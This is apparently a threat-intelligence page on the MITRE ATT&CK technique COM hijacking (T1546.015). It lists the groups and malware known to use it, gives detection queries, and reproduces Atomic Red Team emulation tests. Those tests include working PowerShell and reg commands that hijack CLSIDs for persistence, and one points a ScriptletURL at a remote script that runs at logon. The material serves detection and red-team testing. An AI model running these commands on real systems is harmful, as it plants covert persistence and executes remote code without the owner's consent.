tfMITRE ATT&CK sub-technique

Component Object Model Hijacking T1546.015

sub-technique of T1546 Event Triggered Execution

Tactics: Persistence, Privilege Escalation
Platform: Windows
Version: 1.3
Created: 16 March 2020
Last modified: 24 October 2025
Contributors: Elastic; ReliaQuest

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.[1] References to various COM objects are stored in the Registry.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups45th pct

Threat groups45th percentile · 55% of ATT&CK techniques have more threat groups attributed.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malwareTop 24%

Tools & malware76th percentile · 76% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 21%

Detection rules79th percentile · 79% of ATT&CK techniques have this many detection rules written or fewer.

Component Object Model Hijacking MITRE reference T1546.015

45th pctamong all ATT&CK techniques for number of groups

1 group has been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

APT28G0007 ↗

Has used COM hijacking for persistence by replacing the legitimate MMDeviceEnumerator object with a payload.1 2

created 2017-05-312 referencesaka IRON TWILIGHT

All 1 groups for this technique

11 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

SVCReadyS1064 ↗

Has created the HKEY_CURRENT_USER\Software\Classes\CLSID\{E6D34FFC-AD32-4d6a-934C-D387FA873A19} Registry key for persistence.1

created 2023-02-10MALWARE

PcShareS1050 ↗

Has created the HKCU\\Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feabec1}\\InprocServer32 Registry key for persistence.1

created 2022-10-13TOOLcarried by 1 group

SILENTTRINITYS0692 ↗

Can add a CLSID key for payload execution through Registry.CurrentUser.CreateSubKey("Software\\Classes\\CLSID\\{" + clsid + "}\\InProcServer32").1

created 2022-03-23TOOL

FerociousS0679 ↗

Can use COM hijacking to establish persistence.1

created 2022-02-01MALWAREcarried by 1 group

WarzoneRATS0670 ↗

Can perform COM hijacking by setting the path to itself to the HKCU\Software\Classes\Folder\shell\open\command key with a DelegateExecute parameter.1

created 2021-12-27MALWAREcarried by 3 groups

KONNIS0356 ↗

Has modified ComSysApp service to load the malicious DLL payload.1

created 2019-01-31MALWARE

All 11 software entries for this technique · 6 newest in this preview

Offense vs defense T1546.015

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 0Sigma rules (cumulative) · 9Splunk ESCU (cumulative) · 3

first rule: 2019 Q4

Component Object Model Hijacking detection strategy DET0481

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Windows COM Hijacking Detection via Registry and DLL Load Correlation

Enterprise

1 platform

AN1323 · Windows

Correlate suspicious registry modifications to known COM object CLSIDs with subsequent DLL loads or unexpected binary execution paths. Detect placement of COM CLSID entries under HKEY_CURRENT_USER\Software\Classes\CLSID\ overriding default HKLM paths. Flag anomalous DLL loads traced back to hijacked COM registry changes.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Module LoadDC0016	WinEventLog:Sysmon	EventCode=7
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
Windows Registry Key ModificationDC0063	WinEventLog:Security	EventCode=4657

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
RegistryPathScope	Defenders may tune specific monitored CLSIDs depending on known-good application behavior.
BinaryPathAnomalyThreshold	May require tuning based on environment to distinguish rare-but-legit COM DLLs vs suspicious ones.
TimeWindow	Correlating registry changes to DLL load or process execution may require configurable time window.
UserContextFilter	Tuning detection by isolating activity to specific user SIDs or admin-level activity may reduce false positives.

1 analytic

Adversaries may establish persistence or escalate privileges by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. This is typically done by replacing COM object registry entries under the HKEY_CURRENT_USER\Software\Classes\CLSID or HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID keys. Accordingly, this analytic looks for any changes under these keys.

TypeSituational AwarenessCoverageModerateSubmitted2020

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-SICA	System Init Config Analysis

Data model references

The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.

Object	Action	Field
registry	add	key
registry	remove	key
registry	edit	key

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

This is a pseudocode representation of the below splunk search.

registry_keys = search (Registry:Create AND Registry:Remove AND Registry:Edit)
clsid_keys = filter registry_keys where (
  key = "*\Software\Classes\CLSID\*")
output clsid_keys

This Splunk search looks for any registry keys that were created, deleted, or renamed, as well as any registry values that were set or renamed under the Windows COM Object registry key.

index=__your_sysmon_index__ (EventCode=12 OR EventCode=13 OR EventCode=14) TargetObject="*\\Software\\Classes\\CLSID\\*"

This LogPoint search looks for any registry keys that were created, deleted, or renamed, as well as any registry values that were set or renamed under the Windows COM Object registry key.

norm_id=WindowsSysmon event_id IN [12, 13, 14] target_object="*\Software\Classes\CLSID\*"

Tests4ExecutorsPowerShell 4Need elevation0 of 4Have prerequisites2Have cleanup4Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

COM Hijacking - InprocServer32

windows

PowerShell

—

Yes

This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe. Reference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/

Input arguments

Name	Type	Default	Description
clsid	string	{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}	Class ID to hijack.
dllpath	string	PathToAtomicsFolder\..\ExternalPayloads\AtomicTest.dll	Path to the DLL.
clsid_threading	string	Apartment	Threading Model
clsid_description	string	MSAA AccPropServices	Description for CLSID

Attack command

New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}'
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value "#{dllpath}"
New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String"
Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-sta #{clsid}'

Cleanup command

Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Recurse -ErrorAction Ignore

Prerequisite

DLL For testing

Check

if (Test-Path "#{dllpath}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/AtomicTest.dll" -OutFile "#{dllpath}"

GUID3d565755-7960-48fe-88bf-320f890a518d

Powershell Execute COM Object

windows

PowerShell

—

Yes

COM Hijacking with RunDLL32 (Local Server Switch)

windows

PowerShell

—

Yes

This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via "rundll32.exe -localserver [clsid]". This method is generally used as an alternative to 'rundll32.exe -sta [clsid]' to execute dll's while evading detection. Reference: https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/ Upon successful execution of this test with the default options, whenever certain apps are opened (for example, Notepad), a calculator window will also be opened.

Input arguments

Name	Type	Default	Description
clsid	string	{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}	Class ID to hijack.
dll_path	string	PathToAtomicsFolder\..\ExternalPayloads\T1546.015_calc.dll	Path to the DLL.
clsid_threading	string	Both	Threading Model
clsid_description	string	MSAA AccPropServices	Description for CLSID

Attack command

New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}'
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value "#{dll_path}"
New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String"
Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-localserver #{clsid}'

Cleanup command

Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Recurse -ErrorAction Ignore

Prerequisite

DLL For testing

Check

if (Test-Path "#{dll_path}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/T1546.015_calc.dll" -OutFile "#{dll_path}"

GUIDe08d49a3-6620-4896-84b9-df2f1a4fea9c

COM hijacking via TreatAs

windows

PowerShell

—

Yes

This test first create a custom CLSID class pointing to the Windows Script Component runtime DLL. This DLL looks for the ScriptletURL key to get the location of the script to execute. Then, it hijacks the CLSID for the Work Folders Logon Synchronization to establish persistence on user logon by creating the 'TreatAs' with the malicious CLSID as default value. The test is validated by running 'rundll32.exe -sta "AtomicTest"' to avoid logging out. References: https://youtu.be/3gz1QmiMhss?t=1251 https://github.com/enigma0x3/windows-operating-system-archaeology

Attack command

reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest.1.00" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest\CLSID" /ve /T REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest.1.00\CLSID" /ve /T REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /ve /T REG_SZ /d "C:\WINDOWS\system32\scrobj.dll" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /v "ThreadingModel" /T REG_SZ /d "Apartment" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL" /ve /T REG_SZ /d "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/src/TreatAs.sct" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID" /ve /T REG_SZ /d "AtomicTest" /f

reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\TreatAs" /ve /T REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f

rundll32.exe -sta "AtomicTest"

Cleanup command

reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest" /f
reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /f
reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}" /f

GUIDfead1d9a-f777-4706-ba1e-746e6f82aaa1

Tests from Atomic Red Team (MIT licence) · technique definition

Component Object Model Hijacking detections T1546.015

12 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 21%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs